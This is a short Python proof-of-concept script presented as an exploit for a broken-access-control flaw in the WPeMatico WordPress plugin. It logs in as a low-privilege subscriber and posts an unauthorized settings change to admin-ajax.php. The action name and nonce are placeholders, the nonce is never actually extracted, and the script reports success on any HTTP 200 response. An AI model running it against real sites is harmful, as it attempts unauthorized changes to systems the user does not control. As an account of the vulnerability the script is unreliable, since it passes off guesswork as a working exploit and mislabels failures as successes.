# CVE-2025-49922 PoC - WPeMatico RSS Feed Fetcher Broken Access Control # Vulnerability: Missing Authorization allowing low-privilege users to perform unauthorized actions # Affected versions: <= 2.8.3 import requests # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" # Low-privilege WordPress account PASSWORD = "user_password" # Step 1: Login as a low-privilege user (e.g., subscriber) session = requests.Session() login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Extract nonce from the admin page (if accessible) # Note: The actual exploit endpoint may vary based on the specific vulnerable function response = session.get(f"{TARGET_URL}/wp-admin/admin.php?page=wpematico_settings") # Step 3: Attempt to access/modify plugin settings without proper authorization # This request demonstrates the broken access control - the endpoint should # verify the user has 'manage_options' capability but fails to do so unauthorized_action = { "action": "wpematico_action", # Example action name "_wpnonce": "extracted_nonce", # Nonce value if needed "option": "malicious_value" # Malicious parameter } # Step 4: Send the unauthorized request response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=unauthorized_action ) if response.status_code == 200: print("[+] Exploit successful - Unauthorized action performed") else: print("[-] Exploit failed") # Note: Actual exploitation requires identifying the specific vulnerable # endpoint and crafting appropriate parameters based on the plugin version
